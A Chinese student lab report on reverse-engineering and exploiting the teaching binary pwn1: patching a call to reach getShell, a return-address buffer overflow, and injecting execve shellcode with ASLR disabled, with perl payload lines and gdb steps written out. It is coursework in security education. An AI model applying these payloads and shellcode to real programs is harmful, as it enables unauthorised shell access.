2019-2020-2 20175320 《网络对抗技术》Exp1 PC平台逆向破解

2019-2020-2 20175320 《网络对抗技术》Exp1 PC平台逆向破解

一、实验要求

  • 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
  • 掌握反汇编与十六进制编程器
  • 能正确修改机器指令改变程序执行流程
  • 能正确构造payload进行bof攻击
  • 掌握call等指令的过程以及对寄存器的影响,eip,ebp,esp的作用以及其中存储的数据的含义
  • 补码

二、实验目标

本次实验的对象是名为pwn1的可执行文件,该文件正常情况下会在主函数中调用foo函数,foo函数可以将用户输入的字符串回显。而pwn1中还有一个getshell函数,该函数可以获得一个shell。本次实验的目的就是用三种方法使得pwn1在linux下运行的时候能够获得shell。这三种方法分别为修改机器指令使得main函数直接调用文件中的shellcode、bof改变指令流调用文件中的shellcode、利用缓冲区溢出注入shellcode

三、实验过程

1.修改机器指令

在这一方法中,我们在linux下修改名为pwn1的可执行文件的main函数的call指令的机器码,使得call指令不再调用foo函数,而是调用getShell函数,实验过程如下。
(1)在老师给的码云链接中下载目标文件pwn1,解压并复制到linux文件中,然后将该pwn1文件在linux中复制一份,这里我将复制的文件命名为5320pwn。
(2)使用 objdump -d 5320pwn | more命令进行反汇编,在界面中输入/`foo找到foo函数的位置,下拉找到main函数。

  • 可以看见此时main函数调用的是foo函数
  • 上图中间的那一列表示的是汇编语言对应机器码,由此可知call 8048491 <foo>对应的机器码是e8 d7ffffff
  • 对于call指令而言,e8代表跳转,而call指令跳转的目的地址则通过call指令机器码e8后面的数字加上调用函数中下一条指令的地址(即eip中的值)获得,在本次实验中main函数下一条指令的地址(eip中的值)为80484ba80484ba加上ffffffd7(计算机使用小端方式保存,使用objdump命令显示为d7ffffff)即为foo函数指令的起始地址8048491

(3)根据反汇编获得的getShell函数指令的起始地址,用该地址减去call指令后下一条指令的地址,并将该值转化为机器码

  • getShell的首地址为0804847d,call指令后的下一条指令的地址为80484ba 二者相减的结果为ffffffc3,转化为补码即为c3ffffff

(4)修改可执行文件,将main函数call指令机器码中的d7ffffff改为c3ffffff

  • 1在这里我们使用vim编辑器修改5320pwn文件,首先用vim 5320pwn打开文件
  • 2然后按esc并输入:进入vim命令行,在vim的命令行内输入%!xxd将二进制文件转化为16进制显示
  • 3输入/e8 d7(注意空格不可缺少)定位需要修改的内容,找到后将前后内容对比一下,确定位置是正确的
  • 4使用vim插入模式将d7修改为c3
  • 5使用%!xxd -r 命令将16进制显示变为原本格式,并输入:wq存盘退出
  • 6再次对5320pwn文件进行反汇编,查看main中call指令是否修改成功
  • 7用chmod命令给5320pwn添加可执行权限,命令行输入 ./5320pwn运行代码,并输入ls看是否可获得shell

2.bof改变指令流

由于c语言不会对输入的数据长度进行检查,因此会出现输入数据大于函数堆栈缓冲区的最大长度,缓冲区溢出会将栈中存放eip栈空间进行覆盖,通过构造输入的数据,可以将需要执行的代码的内存地址覆盖栈中存储eip值的空间,从而将程序导向攻击者想要执行的代码段。实验过程如下:
(1)对pwn文件进行反汇编,这里我将pwn1文件复制为5320pwn2

  • 找到foo函数的汇编代码,在foo函数的第三行汇编代码中我们可知foo创建了一个大小为56个字节的栈空间,而从第四行汇编代码可知foo将28个字节的栈空间传给getstring函数,而getstring函数会用这28个字节存放用户输入的数据,由此可知一旦用户输入的数据大于28个字节,由函数栈的结构可知,28个字节后的数据会依次覆盖存放esp的值的栈空间,存放eip的值的栈空间,而esp,eip都是32位寄存器,因此,只要确定输入数据的第32个字节后的四个字节的数据,并将该四个字节的数据构造为getshell函数的起始地址即可

(2)通过gdb调试,确认并验证输入字符串的哪几个字符会覆盖存储eip的栈空间

  • 1命令行中输入gdb 5320pwn2,对5320pwn2进行调试
  • 2进入gdb后输入r,pwn会执行到输入语句并停止等待用户输入数据
  • 3输入测试数据1234567812345678123456781234567855555555,并按回车结束输入
  • 4可以发现程序抛出错误,这是程序在执行了foo函数汇编代码中的ret语句后发生了错误,而此时用户输入的数据已经对main函数的栈空间存储的eip的值进行了覆盖,此时在gdb中输入info r指令查看eip寄存器的值,可以发现eip的值已经变为我们输入的5555的ascii码,而ebp的值为小端方式存储的5678的ascii码,这进一步验证了我们的猜想
  • 5接着构造构造输入的数据,由前面步骤可知我们需要将第32个字节后的的四个字节构造为getshell函数指令的起始地址,通过前面的反汇编可知getShell的地址为 0804847d,因此,构造的转化为小端方式的输入数据为12345678123456781234567812345678 \x7d\x84\x04\x08
  • 6由于无法通过键盘输入\x7d\x84\x04\x08这样的16进制值,因此我们使用perl语言生成包含这样一个字串的文件,perl语句为:perl -e 'print "12345678123456781234567812345678 \x7d\x84\x04\x08\x0a" ' > 5320input 、其中\x0a表示回车键,可写入文件也可临时在运行时输入回车, > 5320input表示将输出重定向到5320input这一文件
  • 7使用xxd 5320input命令检查文件内容是否符合预期
  • 8使用 (cat 5320input; cat) | ./5320pwn2运行pwn程序,该指令会使用管道将5320input的文件内容作为5320pwn2的输入
  • 9在运行的程序内输入ls验证攻击是否成功

3.注入shellcode

这一方法建立在方法2的基础上,同样也需要利用缓冲区溢出对程序的运行过程进行引导,而本方法直接将获取shell的shellcode写入攻击时用户输入的长字符串中,这种攻击方法也是这几种攻击方法中最符合实际情况的一种。但此方法的成功需要建立在几个前提条件的基础上:

  • 设置堆栈可执行
  • 关闭地址随机化
  • 在32位环境下
  • 运行平台为linux

构造buf的方式有两种,这里我使用的是老师推荐的retaddr+nop+shellcod的模式,并直接使用了生成好的shellcode:`` x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80```感兴趣的同学可以查看这篇博客Shellcode入门来了解shellcode的生成过程
实验过程如下:
(1)进行准备工作,开启堆栈可执行,关闭地址随机化,使用如下代码修改:

execstack -s pwn1 //设置堆栈可执行 execstack -q pwn1 //查询文件的堆栈是否可执行 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化 echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化 more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化


(2)通过gdb调试获取shellcode在堆栈中的起始地址

  • 1复制pwn1文件,将复制获得的文件命名为5320pwn3,然后添加可执行权限后在命令行中运行
  • 2在另一命令行用ps命令获取5320pwn3的进程号,并在gdb中输入attach +进程号调试该pwn程序
  • 3输入disassemble foo命令反汇编,并将断点设置在ret命令这一行,即通过 break *0x080484ae命令设置断点
  • 4在gdb中输入c,然后到5320pwn3运行的终端中输入回车,使得pwn从getstring往后运行,并最终在断点前停止运行,此时foo已经通过leave语句将main函数的ebp和esp还原了
  • 5gdb中输入info r esp命令查看esp中存放的地址,经过分析可知,此时esp中地址指向的栈空间存放的就是之前入栈的eip的值,当foo执行ret指令后便会将该值赋给eip,然后eip就会按照这个地址去寻找下一条指令,经查看,esp中的值为0xffffd26c
  • 6在gdb中输入x/16x 0xffffd26c,将该内存地址中的值使用长度为16的16进制数表示,可以看见该地址中存放的数据为0x080484ba该数据为main函数中调用foo并返回后要执行的指令的地址,由此可以得知shellcode的起始地址需要放在0xffffd26c这一地址
  • 7构造输入的数据,这里同样需要使用perl语言将构造的数据写入文件中,perl语句为:perl -e 'print "A" x 32;print "\x70\xd2\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > 5320shellcode,然后使用xxd 5320shellcode命令查看文件中的构造数据是否符合要求
  • 8命令行中输入(cat 5320shellcode; cat) | ./5320pwn3命令次执行程序,输入ls测试是否成功

四、实验中遇到的问题

问题1:在第一个方法中使用obdump命令打不开修改后的pwn文件

问题一解决方法:在16进制显示下修改了机器码后需要先将16进制显示恢复为2进制,然后再保存退出,如果先保存再转换为二进制文件就会出现以上问题

五、实验感想和思考

本次实验基本按照思路来做的话不会遇到较大的困难,主要需要注意一些细节的问题。通过本次实验,我第一次接触了缓冲区溢出攻击的具体操作,加深了我对于堆栈以及缓冲区溢出攻击的理解。也提醒我在以后的编程中要注意可能存在的缓冲区溢出的漏洞,尤其是要注意在linux系统下运行的代码是否有该问题。

六、参考资料

posted @ 2020-03-02 22:16  175320  阅读(316)  评论(0编辑  收藏  举报